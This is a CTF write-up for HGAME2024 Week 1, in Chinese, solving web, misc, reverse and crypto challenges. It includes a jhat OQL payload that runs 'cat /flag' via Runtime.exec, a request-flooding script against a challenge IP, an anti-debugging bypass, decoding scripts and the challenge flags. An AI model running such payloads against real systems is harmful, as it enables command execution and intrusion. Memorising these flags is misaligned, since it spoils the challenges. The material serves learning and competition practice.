

HGAME2024 Week1 Writeup

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Web

Bypass it

禁用JavaScript->注册->开启JavaScript->登录->Getflag.

Flag: `hgame{bd4782904c40ddabebeb26f00d570d5241610d02}`

EzHTTP

Referer+User-Agent+X-Real-IP=Getflag



哦，还有一层JWT，放在jwt.io去解一下就好了

Flag: `hgame{HTTP_!s_1mP0rT4nt}`

Select Courses

简单的选课界面，你值得拥有

访问GET /api/courses获取课表，POST /api/courses和id提交待选课程，GET /api/ok检查status是否都为true，之后应该就会getflag

后端的is_full参数不定期浮动，不过是false的时间很短，基本很难点

写个脚本一直发包就可以实现抢课

```
import requests

url = 'http://47.100.137.175:30066/api/courses'
headers = {
    'Content-Type': 'application/json',
    'Accept': '*/*',
    'Host': '47.100.137.175:30066',
    'Connection': 'keep-alive'
}

data = {
    "id": 5//自己从1改到5
}

max_attempts = 100

# 循环发送POST请求
```

```

for attempt in range(max_attempts):
    response = requests.post(url, json=data, headers=headers)

    if response.status_code == 200:
        # 解析JSON响应数据
        response_data = response.json()
        if "full" in response_data and "message" in response_data:
            if response_data["full"] == 1 and response_data["message"] == "课程已
满! ":
                print(f'第 {attempt+1} 次尝试: 课程已满, 继续尝试。')
            else:
                print('课程选择成功! ')
                break # 如果成功选择课程, 退出循环
        else:
            print('响应数据格式不符合预期。')
    else:
        print(f'第 {attempt+1} 次尝试: 课程选择失败。')
        print(response.text)

```

第 1 次尝试: 课程已满, 继续尝试。
 第 2 次尝试: 课程已满, 继续尝试。
 第 3 次尝试: 课程已满, 继续尝试。
 第 4 次尝试: 课程已满, 继续尝试。
 第 5 次尝试: 课程已满, 继续尝试。
 第 6 次尝试: 课程已满, 继续尝试。
 第 7 次尝试: 课程已满, 继续尝试。
 第 8 次尝试: 课程已满, 继续尝试。
 第 9 次尝试: 课程已满, 继续尝试。
 第 10 次尝试: 课程已满, 继续尝试。
 第 11 次尝试: 课程已满, 继续尝试。
 第 12 次尝试: 课程已满, 继续尝试。
 第 13 次尝试: 课程已满, 继续尝试。
 第 14 次尝试: 课程已满, 继续尝试。
 第 15 次尝试: 课程已满, 继续尝试。
 第 16 次尝试: 课程已满, 继续尝试。
 课程选择成功!

5门课都为true时就完成了选课。

flag: hgame{w0W_!_1E4Rn_To_u5e_5cripT_^_^}

2048*16

js前端反调试

F12找到js文件, 直接找游戏胜利逻辑

前端有反调试, 调试一个就给我搞出来一个vm debugger

gpt生成一个反调试的匿名函数, 在console里面执行:

```

(function () {
    var constructorHook = constructor;
    Function.prototype.constructor = function(s) {
        if (s == "debugger") {

```


```

        return function() {}
    }
    return constructorHook(s);
}

const setInterval = window.setInterval;
window.setInterval = function(fun, time) {
    if (fun && fun.toString) {
        var funString = fun.toString();
        if (funString.indexOf('debugger') > -1) return;
        if (funString.indexOf('window.close') > -1) return;
    }

    return setInterval(fun, time);
}
})();

```



屏蔽完反调试之后，打两个断点，依次执行

之后在console里执行一段神秘代码

```

console.log(s0(n(439),
    "V+g5LpoEej/fy0nPNivz9SswHIhGaDomU8Cuxb72dB1xYMrZFRA1=QcTq6JkWK4t3"))

```

得到flag.

flag: flag{b99b820f-934d-44d4-93df-41361df7df2d}

jhat

OQL执行查询语句

步骤如下:

1. 使用 `Java.type` 获取 `java.lang.Runtime` 类。
2. 使用反射创建 `Runtime` 实例, 并执行外部命令。
3. 读取命令的输出, 并将其保存在 `output` 变量中。

Payload:

```
var RuntimeClass = Java.type('java.lang.Runtime');
var runtime = RuntimeClass.getRuntime();
var process = runtime.exec('cat /flag');
var inputStream = process.getInputStream();
var reader = new java.io.BufferedReader(new
java.io.InputStreamReader(inputStream));
var line;
var output = '';
while ((line = reader.readLine()) != null) {
    output += line + '\n';
}
output;
```

flag: hgame{038fd4eb4d5b192277326fe908c9238a39590fde}

Misc

SignIn

手机充电孔里看flag

签到

点击就送

Simple_Attack

查看两张图片的CRC校验码, 发现是一样的, 可以用ARCHPR进行明文攻击

首先把图片用bandzip压缩成压缩包, 用工具跑个个把小时就可以解开压缩包

打开里面是一个base64编码的图片, 找一个可以base64在线还原的网站还原一下就可以得到原图了 (其实我发现Typora也可以)

hgame{s1mple_attack_for_zip}

flag: hgame{s1mple_attack_for_zip}

Pwn


EzSignIn

nc就出

Reverse

ezIDA

IDA反编译，调试一下



得到flag.

flag: hgame{w3lc0me_T0_Th3_World_of_Rev3rse!}

ezPYC

下载下来是一个ezPYC.exe,我们需要将它还原成字节码。

网上找来的工具 `pyinstxtractor.py`,可以将exe还原成pyc格式代码。

```
C:\Users\24993\Desktop\Exe-decompiling-master\packages>python3 pyinstxtractor.py
ezPYC.exe
C:\Users\24993\Desktop\Exe-decompiling-master\packages\pyinstxtractor.py:88:
DeprecationWarning: the imp module is deprecated in favour of importlib and
 slated for removal in Python 3.12; see the module's documentation for alternative
 uses
    import imp
[*] Processing ezPYC.exe
[*] Pyinstaller version: 2.1+
[*] Python version: 311
[*] Length of package: 1335196 bytes
[*] Found 10 files in CArchive
[*] Beginning extraction...please standby
[!] Warning: The script is running in a different python version than the one
used to build the executable

    Run this script in Python311 to prevent extraction errors(if any) during
unmarshalling
```

```
[*] Found 99 files in PYZ archive
[*] Successfully extracted pyinstaller archive: ezPYC.exe
```

You can now use a python decompiler on the pyc files within the extracted directory

同目录下出现了 `ezPYC.exe_extracted` 文件夹,里面有 `PYZ-00.pyz_extracted` 目录,这里面是文件的库依赖;还有一个与被处理文件同名的文件.手动加上后缀 `.pyc`,由于使用的是python3.11,没有现成的反编译软件,我们读取python字节码进行分析

```
import dis
import marshal

def read_pyc(filename):
    with open(filename, 'rb') as file:
        try:
            code_obj = marshal.load(file)
            return code_obj
        except Exception as e:
            print(f"Error reading .pyc file: {e}")
            return None

def disassemble_code_object(code_obj):
    if code_obj is not None:
        dis.dis(code_obj)
pyc_file = 'ezPYC.pyc'
code_obj = read_pyc(pyc_file)
disassemble_code_object(code_obj)
```

Output:

```
0          0 RESUME          0

  1          2 BUILD_LIST          0
              4 LOAD_CONST          0 ((87, 75, 71, 69, 83, 121, 83, 125,
117, 106, 108, 106, 94, 80, 48, 114, 100, 112, 112, 55, 94, 51, 112, 91, 48, 108,
119, 97, 115, 49, 112, 112, 48, 108, 100, 37, 124, 2))
              6 LIST_EXTEND          1
              8 STORE_NAME          0 (flag)

  2          10 BUILD_LIST          0
              12 LOAD_CONST          1 ((1, 2, 3, 4))
              14 LIST_EXTEND          1
              16 STORE_NAME          1 (c)

  3          18 PUSH_NULL
              20 LOAD_NAME          2 (input)
              22 LOAD_CONST          2 ('plz input flag:')
              24 PRECALL          1
              28 CALL          1
              38 STORE_NAME          2 (input)

  4          40 PUSH_NULL
              42 LOAD_NAME          3 (range)
```

```

44 LOAD_CONST          3 (0)
46 LOAD_CONST          4 (36)
48 LOAD_CONST          5 (1)
50 PRECALL             3
54 CALL                3
64 GET_ITER
>> 66 FOR_ITER          62 (to 192)
68 STORE_NAME          4 (i)

5      70 PUSH_NULL
72 LOAD_NAME           5 (ord)
74 LOAD_NAME           2 (input)
76 LOAD_NAME           4 (i)
78 BINARY_SUBSCR
88 PRECALL             1
92 CALL                1
102 LOAD_NAME          1 (c)
104 LOAD_NAME           4 (i)
106 LOAD_CONST          6 (4)
108 BINARY_OP           6 (%)
112 BINARY_SUBSCR
122 BINARY_OP          12 (^)
126 LOAD_NAME           0 (flag)
128 LOAD_NAME           4 (i)
130 BINARY_SUBSCR
140 COMPARE_OP          3 (!=)
146 POP_JUMP_FORWARD_IF_FALSE 21 (to 190)

6      148 PUSH_NULL
150 LOAD_NAME           6 (print)
152 LOAD_CONST          7 ('Sry, try again...')
154 PRECALL             1
158 CALL                1
168 POP_TOP

7      170 PUSH_NULL
172 LOAD_NAME           7 (exit)
174 PRECALL             0
178 CALL                0
188 POP_TOP
>> 190 JUMP_BACKWARD    63 (to 66)

8      >> 192 PUSH_NULL
194 LOAD_NAME           6 (print)
196 LOAD_CONST          8 ('Wow!You know a little of python
reverse')
198 PRECALL             1
202 CALL                1
212 POP_TOP
214 LOAD_CONST          9 (None)
216 RETURN_VALUE

```

逻辑是进行36次循环，每次循环将flag[i]和c[i % 4]进行异或，看看是否与循环次数相等。我们可以写一个逆向脚本来得到flag

exp.py

```
flag = [87, 75, 71, 69, 83, 121, 83, 125, 117, 106, 108, 106, 94, 80, 48, 114,
100, 112, 112, 55, 94, 51, 112, 91, 48, 108, 119, 97, 115, 49, 112, 112, 48, 108,
100, 37, 124]
c = [1, 2, 3, 4]

correct_input = ''.join([chr(flag[i] ^ c[i % 4]) for i in range(len(flag))])
print(correct_input)
```

flag: VIDAR{Python_R3vers3_1s_1nter3st1ng!}

ezUPX

有UPX压缩壳，脱一下

```
C:\Users\24993\Desktop\Reverse\upx-4.2.2-win64>upx -d ezUPX.exe
                Ultimate Packer for executables
                Copyright (C) 1996 - 2024
UPX 4.2.2      Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 3rd 2024

  File size      Ratio      Format      Name
  -----
  10752 <-      8192      76.19%     win64/pe     ezUPX.exe

Unpacked 1 file.
```

拖到IDA里分析一下

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
    int v3; // edx
    __int64 i; // rax
    __int128 v6[2]; // [rsp+20h] [rbp-38h] BYREF
    int v7; // [rsp+40h] [rbp-18h]

    memset(v6, 0, sizeof(v6));
    v7 = 0;
    printf("plz input your flag:\n");
    scanf("%36s", v6);
    v3 = 0;
    for ( i = 0i64; (v6[i]) ^ 0x32) == byte_7FF67CFD22A0[i]; ++i )
    {
        if ( (unsigned int)++v3 >= 0x25 )
        {
            printf("Coooo!You really know a little of UPX!");
            return 0;
        }
    }
    printf("Sry,try again plz...");
    return 0;
}
```

找到数据：


```
byte_1400022A0 = [0x64, 0x7B, 0x76, 0x73, 0x60, 0x49, 0x65, 0x5D, 0x45, 0x13,
0x6B, 0x02, 0x47, 0x6D, 0x59, 0x5C, 0x02, 0x45, 0x6D, 0x06,
0x6D, 0x5E, 0x03, 0x46, 0x46, 0x5E, 0x01, 0x6D, 0x02, 0x54, 0x6D, 0x67, 0x62, 0x6A, 0x13, 0x4F]
```

异或操作是可逆的，我们可以通过数组数据和0x32进行异或来得到输入数据。

```
# 初始化给定的数组
byte_1400022A0 = [0x64, 0x7B, 0x76, 0x73, 0x60, 0x49, 0x65, 0x5D, 0x45, 0x13,
0x6B, 0x02, 0x47, 0x6D, 0x59, 0x5C, 0x02, 0x45, 0x6D, 0x06,
0x6D, 0x5E, 0x03, 0x46, 0x46, 0x5E, 0x01, 0x6D, 0x02, 0x54, 0x6D, 0x67, 0x62, 0x6A, 0x13, 0x4F]

# 异或的密钥
xor_key = 0x32

# 计算原始输入字符串
flag = ''.join(chr(b ^ xor_key) for b in byte_1400022A0)
print(flag)
```

flag: VIDAR{Wow!Y0u_kn0w_4_l1ttl3_of_UPX!}

Crypto

ezRSA

简单的RSA解密，exp就直接端上来罢（喜

```
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding

# 给定的参数和密文
c =
105294818675325200342580567738640740170270195780418662454006478402302516616529997
097159196208109334371916611800032959232736556757295885588995925242356227288160655
019180761208122365803449911409809915323479912527052886330149134799706100568455435
235913241775670619489225522752354866155149139321254365439916426070286897626936173
052467164927831168130703555126069716266455949618505675863403897058213148420964656
318868122812898431322581318097737977770493587891822125706062525097908309942631320
200941536462967935229756321919124639198989883492822849729199327619526033797332345
75351624039162440021940592552768579639977713099971

leak1 =
149127170073611271968182576751290331559018441805725310426095412837589227670757540
743929865853650399839102838431507200744724939659463200158012469676979987696419050
900842798225665861812331113632892438742724202916416060266581590169063867688299288
985734104127632232175657352697898383441323477450658179727728908669
```

```
leak2 =
116122992714670915381309916967490436489020001172880644167179915467021794892927977
272080596641785569119134259037522388335198043152206150259103485574558816424740204
736215551933482583941959994625356581201054534529395781744338631021423703171146456
663432955843598548122593308782245220792018716508538497402576709461
e = 0x10001

# 计算模反元素d
phi = (leak1 - 1) * (leak2 - 1)
d = pow(e, -1, phi)

# 使用私钥d解密密文c
n = leak1 * leak2
m = pow(c, d, n)

# 将长整数m转换为字节串，并解码成字符串
flag = m.to_bytes((m.bit_length() + 7) // 8, byteorder='big').decode('utf-8')
print(flag)
```

flag: `hgame{F3rmat_l1ttle_the0rem_is_th3_bas1s}`